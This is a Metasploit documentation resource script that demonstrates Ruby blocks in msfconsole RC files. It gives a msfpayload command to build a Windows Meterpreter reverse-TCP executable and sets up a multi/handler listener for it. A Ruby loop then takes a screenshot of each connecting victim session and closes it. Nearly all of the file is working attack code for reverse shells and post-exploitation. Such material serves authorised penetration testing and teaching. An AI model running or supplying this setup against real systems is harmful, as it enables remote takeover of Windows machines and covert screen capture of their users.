metasploit-framework/documentation/msfconsole_rc_ruby_example.rc

#
# Quick RC script to demonstrate the Ruby blocks in RC files
#

#
# Generate a corresponding EXE using msfpayload (change 192.168.0.228 to your IP):
# $ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.228 LPORT=4444 X > reverse.exe
#

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4444
set LHOST 192.168.0.228
set ExitOnSession false

exploit -j

# The first sleep below is not necessary, but makes the output cleaner
<ruby>
	sleep(1)

	print_status("Waiting on an incoming sessions...")
	while (true)
		framework.sessions.each_pair do |sid,s|
			thost = s.session_host

			# Ensure that stdapi has been loaded before running
			if s.ext.aliases['stdapi']
				print_status("Screenshotting session #{sid} #{thost}...")
				s.console.run_single("screenshot -p #{thost}_#{sid}.jpg -v false -q 85")
				print_status("Closing session #{sid} #{thost}...")
				s.kill
			else
				print_status("Session #{sid} #{thost} active, but not yet configured")
			end

		end
		sleep(1)
	end

	print_status("All done")
</ruby>

# Kill all open sessions
sessions -K

# Exit the console (optional)
exit